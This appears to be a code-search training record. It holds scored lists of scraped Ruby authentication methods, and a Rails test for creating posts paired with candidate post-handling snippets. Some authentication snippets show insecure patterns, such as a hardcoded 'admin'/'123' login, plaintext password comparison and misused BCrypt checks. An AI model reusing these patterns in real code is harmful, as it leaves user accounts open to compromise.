User.encrypt_token(psw, password_salt) == encrypted_password\n end", "def authenticate_admin\n check_logout_param and authenticate_with_http_basic &auth_proc\n end", "def check_password(password)\n self.try(:authenticate, password)\n end", "def authenticated?(password)\n self.hashed_password == encrypt(password)\n end", "def auth_pass(password)\n BCrypt::Password.create(password) == self.hash_pass\n end", "def authenticate(attempted_password)\n if self.password == attempted_password\n true\n else\n raise \"That username and password combination does not exist\"\n end\n end", "def authenticated?(password)\n self.crypted_password == self.encrypt(password)\n end", "def basic_auth(u, p)\n @auth = {:username => u, :password => p}\n end", "def authenticated?(password)\n password_hash == User.encrypted_password(password,salt)\n end", "def token_auth(*args, &block); end", "def change_enable_password(username,password,new_password,quick=true)\n if (!username.kind_of?(String))\n raise ArgumentError, \"Expected String for username, but #{username.class} provided.\"\n end\n\n if (!password.kind_of?(String))\n raise ArgumentError, \"Expected String for password, but #{password.class} provided.\"\n end\n\n if (!new_password.kind_of?(String))\n raise ArgumentError, \"Expected String for new_password, but #{new_password.class} provided.\"\n end\n\n # open a socket to the server\n socket = open_socket()\n\n # make start packet\n header = TacacsPlus::TacacsHeader.new\n if (@session_id)\n header.session_id = @session_id\n else\n header.randomize_session_id!\n end\n body = TacacsPlus::AuthenticationStart.new\n body.action_chpass!\n body.authen_type_ascii!\n body.service_enable!\n body.priv_lvl = 1\n body.user = username if (quick)\n\n session = ClientSession.new()\n session.request = PacketStruct.new(header,body)\n session.type = :authentication\n session.getuser = username\n session.getpass = new_password\n session.getdata = password\n\n # process server dialog\n attempt = process_response(session, socket)\n\n return(attempt)\n end", "def auth(user, password)\n @connection.bind(method: :simple, username: user.dn, password: password)\n end", "def authenticate(password)\n\t\tself.hashed_password ==\n\t\tBCrypt::Engine.hash_secret(password, self.salt)\n\tend", "def authenticate(password)\n BCrypt::Password.new(self.password_digest) == password\n end", "def authenticate_user\n if Rails.env.production?\n authenticate_or_request_with_http_basic do |username, password|\n username == \"admin\" && password == Wordpressed.password\n end\n end\n #warden.custom_failure! if performed?\n end", "def bind_by_username_with_preauthentication\n raise CASServer::AuthenticatorError, \"A password must be specified in the configuration for the authenticator user!\" unless\n @options[:ldap][:auth_password]\n\n @ldap.authenticate(@options[:ldap][:auth_user], @options[:ldap][:auth_password])\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end", "def authenticated?(password)\n crypted_password == encrypt(password)\n end", "def authenticateA_L\n authenticate_or_request_with_http_basic do |name, password|\n if m=Member.find_by_name(name) \n if (m.authenticate(password) )\n\t\t\tif m.id == cookies.signed[:user_id]\n\t\t\t\tif (Member.find_by_id(cookies.signed[:user_id]).role == \"administrator\" || is_leader?)\n\t\t\t\t\ttrue\n\t\t\t\telse\n\t\t\t\t\tfalse\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\telse\n\t\t false\n\t\tend\n else\n false\n end\n end\n end", "def authenticate(password)\n\t\t\treturn false if password.to_s.empty?\n\n\t\t\tauth_ldap = @@ldap.dup.bind_as(\n\t\t\t\t:filter => \"(sAMAccountName=#{sAMAccountName})\",\n\t\t\t\t:password => password\n\t\t\t)\n\t\tend", "def password_required?; end", "def authenticate(password)\n\t\t\tself.hashed_password ==\n\t\t\t\tBCrypt::Engine.hash_secret(password, self.salt)\n\tend", "def authenticate(&block)\n Logger.deprecated 'Wallaby will remove security.authenticate from 6.2.'\n if block_given?\n @authenticate = block\n else\n @authenticate ||= DEFAULT_AUTHENTICATE\n end\n end", "def set_auth(user, password)\n @user = user\n @password = password\n end", "def authenticate!\n resource = mapping.to.where(:username => authentication_hash[:email]).first if authentication_hash\n resource ||= mapping.to.new if resource.nil?\n\n username = authenticate_against_ebay(authentication_hash[:email], password)\n\n if username\n resource.username = username\n resource.password = password\n resource.password_confirmation = password\n resource.save if resource.changed?\n end\n\n return fail(:invalid) unless username and resource\n\n if validate(resource) { not resource.nil? }\n success!(resource)\n end\n end", "def authenticate?(name, password)\n user = get_user(name)\n\n return user && user.password == password\n end", "def authenticate(test_password)\n if BCrypt::Password.new(self.password_digest) == test_password\n self\n else\n false\n end\n end", "def auth_ok?(username, password)\n username_present?(username) && password_ok?(username, password)\n end", "def authenticates?(password)\r\n self.password == Crypto::digest(password)\r\n end", "def authenticating_with_password?\n authenticating_with == :password\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == \"admin\" && password == \"123\"\n end\n end", "def set_password_field(password)\n end" ]
[ "0.678788", "0.65130705", "0.63509667", "0.6343934", "0.62818825", "0.6265266", "0.6260336", "0.6154966", "0.6154966", "0.61415225", "0.60966676", "0.6053996", "0.60286903", "0.59829164", "0.59793717", "0.5945088", "0.5945088", "0.5907736", "0.58849216", "0.587753", "0.58297247", "0.58247703", "0.5814825", "0.58135253", "0.5805621", "0.57927966", "0.57739156", "0.5758417", "0.57567537", "0.57401335", "0.57265335", "0.5726396", "0.5713561", "0.5707457", "0.5707457", "0.57056487", "0.57047516", "0.57036924", "0.5702698", "0.5700461", "0.56933594", "0.56877285", "0.567733", "0.5666489", "0.56608754", "0.5660017", "0.5650411", "0.5644429", "0.56413805", "0.5640896", "0.5625511", "0.5600746", "0.55819434", "0.55787605", "0.55740327", "0.5569069", "0.5567497", "0.5566966", "0.5565491", "0.5562242", "0.55621696", "0.55579007", "0.55368763", "0.5535154", "0.55193394", "0.55102795", "0.5509987", "0.5499028", "0.5495368", "0.54897636", "0.5487604", "0.54775643", "0.54662985", "0.54637307", "0.5463341", "0.5461867", "0.5459353", "0.54585457", "0.5457148", "0.5451607", "0.5450021", "0.5448755", "0.5447695", "0.5445804", "0.544526", "0.54417527", "0.54406315", "0.5439449", "0.5438541", "0.5426221", "0.542539", "0.54216385", "0.54205537", "0.541904", "0.54100895", "0.5402572", "0.5394515", "0.53912705", "0.5390873", "0.53906035" ]
0.6806943
0
Included methods, info "something"
def fatal(*args, &block) Log.fatal(*args, &block) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def info; end", "def info; end", "def my_info\r\n end", "def info\n puts 'Info'\n end", "def info\n\tend", "def display_method_info\n end", "def get_info\n end", "def get_info\n end", "def get_info\n end", "def info()\n #This is a stub, used for indexing\n end", "def info\n raise \"Not yet implemented\"\n end", "def informational?; end", "def get_info\n \"here is some info on#{self.name}: #{self.about}\"\n end", "def get_info\n puts \"#{@title} by #{@author} is #{@status}.\"\n if @description\n puts \"#{@title} description: #{@description}.\"\n end\n end", "def print_usage; end", "def usage; end", "def usage; end", "def included; end", "def get_info\n \"here is some info on #{self.name}: #{self.about}\"\n end", "def details; end", "def print_base_info\n # it could be solved by conditions, so we can remove additional methods\n # but more info we need print, more conditions we should add\n # that's why it's a bad approach\n \"Player's position is #{position} and he scored #{goals} goals.\"\n end", "def details(*args); end", "def info\n puts \"The name and the price will be printed\"\n end", "def INFO(msg)\n if DEBUG\n puts \"INFO: \" + msg\n end\nend", "def methods() end", "def some_method_two\n puts \"Some more details.\"\n end", "def stuff\n end", "def how_it_works\r\n end", "def info\n \"hello from EolScenarios#info\"\n end", "def diagnostics; end", "def diagnostics; end", "def diagnostics; end", "def diagnostics; end", "def what_is\n end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def diagnostic; end", "def who_we_are\r\n end", "def show_info\n run('show info')\n end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def some_method\n self.info\n end", "def include; end", "def include; end", "def info(value); end", "def method_that_says(stuff)\n\tputs (stuff)\nend", "def helpers; end", "def helpers; end", "def helpers; end", "def display_class_info\n end", "def additional_info(header, method)\n if opts.content?\n \": \" + colorize_code(matched_method_lines(header, method))\n else\n \"\"\n end\n end", "def print\n\t\tputs name + \" \" + className + \" says \" + call\n\tend", "def info\n puts \"Version #{StaticData::APPLICATION_VERSION}\"\n puts \"Authors : \"\n StaticData::AUTHORS.each do |author| \n puts \"-- #{author}\"\n end \n end", "def show_info()\n\t\tputs \"ID: #{@@id}\"\n\t\tputs \"Name: #{@car_name}\"\n\t\tputs \"Make: #{@@make}\"\n\t\tputs \"Cost: #{calc_total_cost} INR\"\n\t\tputs\n\t\tputs \"Review: #{@review}\"\n\t\tputs \"Rating: #{@rating} stars\"\n\tend", "def info(msg)\n puts msg\n end", "def info(msg) log(INFO, \"INFO \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end", "def display_usage\n end", "def supportInfo _args\n \"supportInfo _args;\" \n end", "def extra; end", "def info?\n raise NotImplementedError.new\n end", "def print\r\n\t\tputs name + \" \" + className + \" says \" + call\r\n\tend", "def extract_method_details; end" ]
[ "0.74552923", "0.74552923", "0.71124506", "0.710758", "0.6977473", "0.6709184", "0.6665955", "0.6665955", "0.6665955", "0.6649786", "0.66243404", "0.6616635", "0.6520083", "0.64937305", "0.648558", "0.645028", "0.645028", "0.6434832", "0.6393445", "0.6344164", "0.63312745", "0.6314306", "0.6308244", "0.6284575", "0.62427557", "0.62370205", "0.62246114", "0.6220208", "0.6217742", "0.6206108", "0.6206108", "0.6206108", "0.6206108", "0.61895967", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6183382", "0.6171181", "0.61679035", "0.61407083", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61352634", "0.61223924", "0.61185324", "0.61185324", "0.61005604", "0.60996693", "0.6094109", "0.6094109", "0.6094109", "0.60940915", "0.60727805", "0.60710406", "0.6066984", "0.6059462", "0.6059318", "0.60567605", "0.60550493", "0.6054029", "0.6045111", "0.6035413", "0.6034722", "0.6028991" ]
0.0
-1
Test +has_content+ method to return false if a post have no content
def test_has_content assert(!@contentless_post.has_content?) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_content?\n !content.nil?\n end", "def has_content?\n ( not self.title.nil? and not self.title.length == 0 ) or \n (not self.description.nil? and not self.description.length == 0 ) or \n (not self.teaser.nil? and not self.teaser.length == 0 )\n end", "def content?\n !content.nil? && !content.empty?\n end", "def has_item_content?(content)\n # TODO Stubbed - Requires definition and implementation\n end", "def check_if_page_has_content(content)\n\n page.should have_content(content)\n\n end", "def has_item_content?(content)\n # TODO Stubbed - Requires definition and implementation\n end", "def empty?\n @content.empty?\n end", "def user_has_content(user)\n return (user.posts.count > 0 || user.comments.count > 0)\nend", "def empty?\n content.empty?\n end", "def verify_pinterest_post\n return @page.has_content?(@message_content)\n end", "def check_for_posts\n if self.posts.any?\n errors[:base] << \"cannot delete Topic tag when posts are using it!\"\n return false\n else\n return true\n end\n end", "def useless?\n content.nil? and children.empty?\n end", "def empty?\n content.stream.filtered_stream == (@tare_content_stream ||= InitialPageContent) && document.page_number > 0\n end", "def content?(name, content)\n page = Islay::Pages.definitions[name]\n page and page.contents[content].present?\n end", "def has_content?(name)\n @has_content ||= {}\n @has_content.key?(name.to_s)\n end", "def are_sub_contents_posts?\n ret_val = true\n\n if @is_post\n ret_val = false\n else\n sub_directories = Dir.glob(@absolute_path + '*')\n\n sub_directories.each do |sub_directory|\n if File.exists?(sub_directory + '/index.html') == false\n ret_val = false\n break \n end\n end\n end\n\n ret_val\n end", "def has_visible_content?\n strong_memoize(:has_visible_content) do\n branches_filter(filter: :local).any? do |ref|\n begin\n ref.name && ref.target # ensures the branch is valid\n\n true\n rescue Rugged::ReferenceError\n false\n end\n end\n end\n end", "def spontaneous_content?\n true\n end", "def spontaneous_content?\n true\n end", "def content_empty?\n return false if behaves_like_io?(@content) && @content.read.empty?\n return true if @content.class == String && @content.empty?\n\n false\n end", "def has_content!(name) # :nodoc:\n @has_content ||= {}\n @has_content[name.to_s] = true\n end", "def is_content_for? (intended_use)\n content_intended_use == intended_use\n end", "def content_loaded?\n @content.to_bool\n end", "def reviewed?\n if content.nil? || content.empty?\n return false\n else\n return true\n end\n end", "def has_children?(type=\"page\", content=nil)\n node = content || @content || Content.get(params[:id]) || nil\n \n if ( node && Content.all(:parent => node.id, :content_type => type).count > 0 )\n return true\n else\n return false\n end \n \n end", "def content_for_with_empty_check?(name)\n if @view_flow.get(name) == DryViews::EMPTY_CONTENT\n #add a check for empty, and return :empty, so we can switch on it for empty content\n return :empty\n elsif content_for_without_empty_check?(name)\n return true\n else\n return false\n end\n end", "def has_content_id?\n !fields.select { |f| f.responsible_for?('Content-ID') }.empty?\n end", "def content_for?(part_slug)\n content_for(part_slug).present?\n end", "def content_for? key\n (defined? @content) && (@content.key? key)\n end", "def blank?\n if content.respond_to?(:empty?)\n content.empty?\n else\n content.nil?\n end\n end", "def has_sidebar_content?\n publications.any? || external_resources.any? || authors.corresponding.any?\n end", "def expect_page_to_not_have_content(content)\n\n page.should_not have_content(content)\n\n end", "def text_content?\n @node.children.all?(&:text?)\n end", "def body?\n !body.empty?\n end", "def smartContentEnabled?\n smart_content_element.count > 0 \n end", "def assert_post_body_for(post, present: true)\n if present\n assert_match markdown(post.content), response.body\n else\n assert_no_match markdown(post.content), response.body\n end\n end", "def parse_content?\n options[:parse_content] != false\n end", "def text_content?\n @node.children.all? {|c| c.text?}\n end", "def posted?\n post.present?\n end", "def has_preview?\n self.raw_content.include? \"<!-- more -->\"\n end", "def cookbook_have_content?\n if current_cookbook && current_cookbook.extra_pages.empty? && current_cookbook.recipes.empty?\n redirect_to sections_path, alert: \"Sorry, but you cannot order this cookbook until you add some content\"\n end\n end", "def guessing?\n ! page.has_content?(\"Your Results\")\n end", "def has_body?\n @body\n end", "def empty?\n @contents.nil?\n \n \n \n \n end", "def compound_query_needs_content_field?\n compound_query? && !summary? && !has_extra?\n end", "def content_for?( obj )\n @_content_for.key?(obj)\n end", "def accepts_content?\n !!@ext_params[\"content_return_types\"]\n end", "def empty_content?(element)\n element.texts.join.blank?\n end", "def body_has_meaningful_content?(body_elt)\n body_elt && body_elt.to_s != \"<body><p></p></body>\"\n end", "def content_type?(content_type)\n org_id = content_item.organisation.id\n published_item_count = ContentItem.published_content_items_of_type_with_owning_org(content_type, org_id).count\n published_item_count > 0\n end", "def children?\n @contents.children?\n end", "def modified?\n return true if @text.blank? || @parent_post.blank?\n\n parent_text = Nokogiri::HTML::fragment(@parent_post.cooked).text.delete(QuoteComparer.whitespace)\n text = @text.delete(QuoteComparer.whitespace)\n\n !parent_text.include?(text)\n end", "def node_contains_content?(node)\n node.name == '#cdata-section'\n end", "def valid?\n return false if @content.nil?\n return false if @type.nil?\n true\n end", "def is_a_post?\n self.object_type == :post\n end", "def valid_post?\n @post.blog == @blog\n end", "def contents_detected?\n true\n end", "def content_for?(symbol)\n !content_blocks[symbol].empty?\n end", "def format_content?\n options[:format_content] != false\n end", "def can_request?(post)\n post[:post_id] != posts\n end", "def any_content(includes = true)\n @any_content ||= !(\n @comment.empty? &&\n @method_list.empty? &&\n @attributes.empty? &&\n @aliases.empty? &&\n @external_aliases.empty? &&\n @requires.empty? &&\n @constants.empty?\n )\n @any_content || (includes && !(@includes + @extends).empty? )\n end", "def content_for?(name); end", "def content_for_with_empty_check(name, content = nil, &block)\n if content_for?(name) == :empty\n # Some preceding layout or template has already specified that there is to be no content for this name, and that is FINAL.\n return nil\n else\n content_for_without_empty_check(name, content, &block)\n end\n end", "def content_for_with_has(*args, &block) # :nodoc:\n has_content!(args.first)\n content_for_without_has(*args, &block)\n end", "def has_text?\r\n @texts.size > 0\r\n end", "def content_modified?\n self.content_hash.nil? || self.content_hash != calculate_content_hash\n end", "def post?\n false\n end", "def can_have_comments?\n self.post?\n end", "def category_has_posts?\n\n current_status = false\n\n self.sub_categories.each do |sub_cat|\n current_status = sub_cat.posts.any?\n break if current_status == true\n end\n\n return current_status\n\n end", "def response_includes?(content)\n @response.body.include?(content)\n end", "def empty_meta_description?\n return meta_empty?(\"description\")\n end", "def blank?\n !!processed_content.match(/\\A(^\\s+$)*\\z/)\n end", "def changed_content?(doc)\n return true if title != doc[:title] || content != doc[:content] || m[:tag_list] != doc[:metadata][:tag_list]\n false\n end", "def content_dirty?\n @content_dirty\n end", "def body?\n\t\t\t\t\t@body and !@body.empty?\n\t\t\t\tend", "def is_post?\n is_entry? && params[:_entry_type_] == 'post'\n end", "def empty?\n return true if @html.nil?\n\n @html.empty?\n end", "def request_empty_page\n @posts.empty? && request.env[\"HTTP_X_REQUESTED_WITH\"] != \"XMLHttpRequest\"\n end", "def meta_description?\n meta_description.present?\n end", "def lazy?\n content.type == :lazy\n end", "def has_permission_to_add_content(user, parent, content)\n return true if user.can_add_root_content?\n return false if parent.blank?\n parent.can_add_content?(user)\n end", "def required_data_provided?\n provided = false\n \n provided = self.content.present?\n \n return provided\n end", "def has_testimonial?\n testimonial_text?\n end", "def html?\n Page.html? content_type\n end", "def is_post_already_posted item\n\n\tpost= Posted.where(:link => item[\"link\"] ).first\n\t\t if !post.nil? \n\t\t return false \n\t\t else \n\n\t\t return true\n\n\t\t end \nend", "def text?\n @contents[0] == :text\n end", "def has_attachments?\n !attachments.empty?\n end", "def pixi_post?\r\n !pixan_id.blank?\r\n end", "def has_summary?(content)\n content.include?('<!-- more -->')\nend", "def is_blog_post?\n self.type == 'Blog'\n end", "def is_blog_post?\n self.type == 'Blog'\n end", "def exists?( video_content )\n\t\traise NotImplementedError.new\n\tend", "def original_post?\n self.ancestry.blank? && self.checkin_id.blank?\n end", "def has_bomb?\n\t\t\t@content == :BOMB\n\t\tend", "def have_element(search, content = nil)\n lambda do |obj|\n doc = Nokogiri.parse(obj.to_s)\n node_set = doc.search(search)\n if node_set.empty?\n false\n else\n collected_content = node_set.collect {|t| t.content }.join(' ')\n case content\n when Regexp\n collected_content =~ content\n when String\n collected_content.include?(content)\n when nil\n true\n end\n end\n end\n end", "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end", "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end", "def is_blog_article?\n !current_article.nil?\n end", "def has?(item)\r\n ! @contents[item].nil?\r\n end", "def draft?\n data[\"draft\"] ||= relative_path.index(collection.relative_directory).nil? &&\n collection.label == \"posts\"\n end" ]
[ "0.86837167", "0.8039077", "0.79284716", "0.7381666", "0.7365182", "0.73450917", "0.7279623", "0.72548395", "0.72285765", "0.71555996", "0.7096712", "0.7013007", "0.6975677", "0.6899152", "0.68618256", "0.6848791", "0.6807338", "0.68008524", "0.68008524", "0.67762303", "0.67719847", "0.67543066", "0.6728657", "0.6725148", "0.6713482", "0.66813254", "0.6668948", "0.6667107", "0.66053003", "0.65960443", "0.6555322", "0.6545347", "0.6527871", "0.6482602", "0.64666694", "0.64534605", "0.64506364", "0.6448034", "0.6438426", "0.6418001", "0.6417895", "0.6386558", "0.6380298", "0.63627845", "0.6348172", "0.63477516", "0.63473284", "0.6318562", "0.63092494", "0.6292826", "0.6266541", "0.6225925", "0.62166077", "0.62091845", "0.62014467", "0.6185997", "0.6179528", "0.6171754", "0.617021", "0.6156337", "0.6154447", "0.6145904", "0.61443555", "0.6141536", "0.6125027", "0.6124406", "0.610677", "0.6093606", "0.6086472", "0.6080951", "0.6077834", "0.6077063", "0.6076262", "0.6075293", "0.6074291", "0.60581195", "0.605656", "0.5996457", "0.59963155", "0.5991956", "0.59909", "0.5985408", "0.5970276", "0.5966084", "0.59553474", "0.59551543", "0.593652", "0.5933832", "0.5930919", "0.592723", "0.592723", "0.5920408", "0.59190094", "0.5917908", "0.5907973", "0.59057873", "0.59057873", "0.59010243", "0.5899855", "0.58818585" ]
0.8497628
1
Test if we can add a post
def test_add_post c = Post.count Post.create(:title => @normal_post.title, :content => @normal_post.content) assert_equal(c + 1, Post.count) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def can_request?(post)\n post[:post_id] != posts\n end", "def post?\n false\n end", "def can_manage_post\n raise ActionController::RoutingError 'Forbidden' if current_user.nil? || cannot?(:manage, @post)\n true\n end", "def posted?\n post.present?\n end", "def check_for_posts\n if self.posts.any?\n errors[:base] << \"cannot delete Topic tag when posts are using it!\"\n return false\n else\n return true\n end\n end", "def can_create\n raise ActionController::RoutingError 'Forbidden' if current_user.nil? || cannot?(:write, :posts)\n true\n end", "def createPost(post)\n isSavePost = post.save\n end", "def is_post?\n is_entry? && params[:_entry_type_] == 'post'\n end", "def is_a_post?\n self.object_type == :post\n end", "def valid_post?\n @post.blog == @blog\n end", "def new_submission?(item)\n !existing_entry?(item)\n end", "def post_ad\n # the post_ad method is defined in lib/post_o_matic.rb. the method creates a new listing on kingsnake.com\n # and returns true or false, depending on whether or not it was posted.\n is_posted = super\n if is_posted\n update_posted_ad!\n end\n is_posted\n end", "def can_create_comment?(post); true; end", "def is_post_exist?\n @post = current_user.posts.where(:id => params[:id]).first\n unless @post.present?\n redirect_to user_posts_path, notice: 'You dont have access to requested post'\n end\n end", "def auto_post?\n return jiak.auto_post\n end", "def ready_to_post?\n self.state == 'ready_to_post'\n end", "def seller_post? listing, user, ptype\n !user.is_support? && ptype.blank? && listing.new_record?\n end", "def process_post\n true\n end", "def canManagePost(user)\n\t \t\t\t\n\t \t\t\tif user.nil? \n\t \t\t\t\treturn false\n\t \t\t\tend\n\n\t \t\t\tif user.has_role?(:admin)\n\t \t\t\t\treturn true\n\t \t\t\telse\n\t \t\t\t\treturn false\n\t \t\t\tend\n\t \t\tend", "def post_is_create?\n\t\ttrue\n\tend", "def add_post\n if current_user.id.to_s == params[:user_id].to_s\n post = Post.new(:user_id => params[:user_id], :content => params[:content],\\\n :title => params[:title], :upvotes => 0, :downvotes => 0, :rank => 0)\n post.save!\n end\n end", "def new_pixi_post? listing\n listing.pixi_post? && !listing.edit?\n end", "def create\n @post.character = current_user.character\n authorize! :create, @post\n create! { posts_url }\n end", "def create\n isSavePost = PostService.createPost(post_params)\n if isSavePost\n redirect_to posts_path\n else\n render :new\n end\n end", "def is_post_already_posted item\n\n\tpost= Posted.where(:link => item[\"link\"] ).first\n\t\t if !post.nil? \n\t\t return false \n\t\t else \n\n\t\t return true\n\n\t\t end \nend", "def create\n @resource = Post.find_by(user_id: current_user.id, url: params[\"post\"][\"url\"])\n if @resource.present?\n # refer article recentry or not\n @refer_recently = @resource.created_at > DateTime.now - 7.days\n else\n @resource = Post.create!(user_id: current_user.id, url: params[\"post\"][\"url\"], title: params[\"post\"][\"title\"])\n UsersPost.create! user_id: current_user.id, post_id: @resource.id\n @refer_recently = false\n end\n end", "def check_permissions\n unless can_edit? @post\n flash[:warning] = \"You can't edit that post.\"\n redirect_to :action => 'show'\n return false\n end\n end", "def check_permissions\n unless can_edit? @post\n flash.now[:warning] = \"You can't edit that post.\"\n redirect_to :action => 'show'\n return false\n end\n end", "def can_have_comments?\n self.post?\n end", "def create\n #initialize a new post object with the parameters submitted, validated by post_params\n @post = Post.new(post_params)\n \n isComment = false\n #check whether this is actually a comment, meaning it should have kind=2 and will need an originating post id\n if params[:kind].present?\n @post.kind = params[:kind].to_i\n @post.originatingPost_id = params[:originatingPost_id].to_i\n isComment = true\n \n #otherwise, it is a post, which optionally has tags\n else\n @post.kind = 0\n @tagsToAdd = params[:tagsToAdd].split(\" \")\n @tagsToAdd.each do |t|\n @post.tags << createTag(t)\n end\n end\n \n #either way, the currently logged in user should be logged as the creator of this post/comment\n @post.user = User.find(session[:user_id])\n \n if @post.save!\n if isComment\n redirect_to action: \"show\", :id => params[:originatingPost_id] #stay on the post's show page\n else\n redirect_to action: \"show\", :id => @post.id #go to this new post's show page\n end\n else\n redirect_to action: 'new' #upon failure, try again\n end\n end", "def create\n # post = Post.new(title: params[:post][:title], url: params[:post][:title])\n post = current_user.posts.new(post_params)\n \n if post.save # this goes to the model and check all the validations before it gets saved\n # if validation passes, then it saves, and it returns true\n # otherwise, it returns false\n redirect_to posts_path\n else\n # if the record doesnt save because it didnt pass the validations\n # flash[:message] = post.errors.messages[:base]\n\n flash[:message] = post.errors.messages\n\n redirect_to :back\n end\n end", "def sender_can_bill?\n !posts.detect { |post| post.can_bill? user }.nil?\n end", "def modifiable?\n !(self.complete? || self.ready_to_post?)\n end", "def allow_to_add_new_entity?(opts ={})\n registered?\n end", "def already_submitted?\n user_id = session[:drupal_user_id]\n campaign = get_campaign\n\n if user_id.nil? || campaign.nil?\n return false\n end\n\n posts = Rails.cache.fetch user_id.to_s + '-posted-on-' + campaign.id.to_s do\n Post.where(uid: user_id, campaign_id: campaign.id)\n end\n\n !posts.nil? && posts.count > 0\n end", "def verify_post_access(cat)\n post_id = params[:id]\n\n if article_for_member_only?(cat)\n\n return user_signed_in?\n else\n # the article is not for member only, so let them see it\n return true\n end\n end", "def create\n restrict('allow only admins and store users') or begin\n @post = Post.new(params[:post])\n @post.author = current_user\n respond_to do |format|\n if @post.save\n format.html {redirect_to current_user.kind_of?(Admin) ? admin_posts_url : posts_url}\n format.js do\n responds_to_parent do\n render :update do |page|\n page.insert_html :top, 'posts_container', \"<hr />\"\n page.insert_html :top, 'posts_container', :partial => 'posts/show_post', :locals => { :post => @post }\n page['new_post_title'].value = ''\n page['new_post_text_area'].value = ''\n page['post_attachment_temp'].value = ''\n page['post_attachment'].value = ''\n page.hide('new_post_container')\n end # render\n end # responds_to_parent\n end # wants\n format.xml\n else\n format.html { render :action => \"new\" }\n format.js {}\n format.xml \n end\n end\n end\n end", "def can_add_feeds?\n false\n end", "def create\n isSavePost = PostsService.createPost(post_params,current_user)\n if isSavePost\n redirect_to root_path , notice: Messages::POST_CREATE_SUCCESS\n else\n render :new\n end\n end", "def create\n @current_user = current_user\n @post = Post.new(post_params)\n @post.user_id = @current_user.id\n \n if (@post.attachment.present? ^ @post.video_link.present?)\n if (@post.user_id == @current_user.id) && @post.save \n flash[:success] = \"Post dodany. Możesz go edytować przed upływem 5 minut \"\n redirect_to root_url\n else\n render 'new'\n end\n elsif (@post.attachment.present? && @post.video_link.present?)\n flash.now[:danger] = \"Nie można jednocześnie dodać obrazka i filmu\"\n render 'new'\n elsif !(@post.attachment.present? || @post.video_link.present?)\n flash.now[:danger] = \"Musisz dodać obrazek lub film\"\n render 'new'\n end\n \n end", "def new_submission?(item = nil)\n # noinspection RubyMismatchedArgumentType\n super(item || self)\n end", "def validate_the_author_of_the_post(post)\n if !is_the_author_of_the_post(post)\n puts \">>>>>> Validation failed: Un-author action is prohibited!\"\n redirect_to post_path\n end\n end", "def has_post_access(board_id, post_id)\n post = Unsakini::Post.where(id: post_id, board_id: board_id)\n .joins(\"LEFT JOIN #{UserBoard.table_name} ON #{UserBoard.table_name}.board_id = #{Post.table_name}.board_id\")\n .where(\"#{UserBoard.table_name}.user_id = ?\", @user.id)\n .first\n if post.nil?\n return {status: :forbidden}\n else\n return {status: :ok, post: post}\n end\n end", "def validate_create_post(params)\n params[\"content\"].length < 500 and params[\"tags\"] and params[\"image\"]\n end", "def duplicate?\n\t\tpost = Post.find_by_blog_id_and_title_and_body(blog_id, title, body)\n\n\t\t# Give self the id for REST routing purposes.\n\t\tself.id = post.id unless post.nil?\n\t\tnot post.nil?\n\tend", "def validate_post_for_user_location(post, user, action)\n # First verify that the person on a Newsfeed is the current user, or\n # if the current user is on a user's Timeline, the current user\n # is allowed to see posts on that Timeline (depending on the user's\n # privacy setting)\n unless (( action == 'newsfeed' && access_level?(user, :self) ) ||\n ( action == 'timeline' && access_level?(user, :public) ))\n return false\n end\n\n receiver = post.receiver\n creator = post.creator\n # Now check if the Newsfeed or Timeline of the user should receive\n # the new post. Newsfeeds get posts created for or by the owner,\n # or friends of the owner, of the Newsfeed; Timelines only get\n # posts created for or by the owner of the Timeline.\n ( action == 'newsfeed' && (access_level?(receiver, :friend) || \n access_level?(creator, :friend)) ) ||\n ( action == 'timeline' && (receiver == user || creator == user) )\n end", "def test_has_content\n assert(!@contentless_post.has_content?)\n end", "def createPost(post_params)\n post = Post.new(post_params)\n post.status = 1\n isSavePost = PostRepository.createPost(post)\n end", "def create_post(user_id, post_hash={})\n if Users.find(:id => user_id).empty?\n return false\n end\n if post_hash[:location_id] == nil\n return false\n end\n if post_hash[:text] == nil\n return false\n end\n username = Users.find_by_sql(\"SELECT u.name FROM users u WHERE u.id = ?\", user_id).username\n ptext = post_hash[:text]\n plocation = post_hash[:location_id]\n @posts = Posts.create(:author_id => user_id, :author_name => username, :text => ptext, :location_id => plocation)\n return true\n end", "def create\n if current_user != nil && !current_user.try(:banned?)\n @post = Post.new(post_params)\n if @post.discussion_id != nil\n if @post.save\n redirect_to discussion_path(@post.discussion_id), notice: 'Post was successfully created.'\n else\n render :new\n end\n else\n render :new\n end\n else\n redirect_to discussion_path(params[:post][:discussion_id])\n end\n end", "def create\n @room = Room.find(params[:target_room_id])\n @post = @room.posts.create(params[:posts])\n 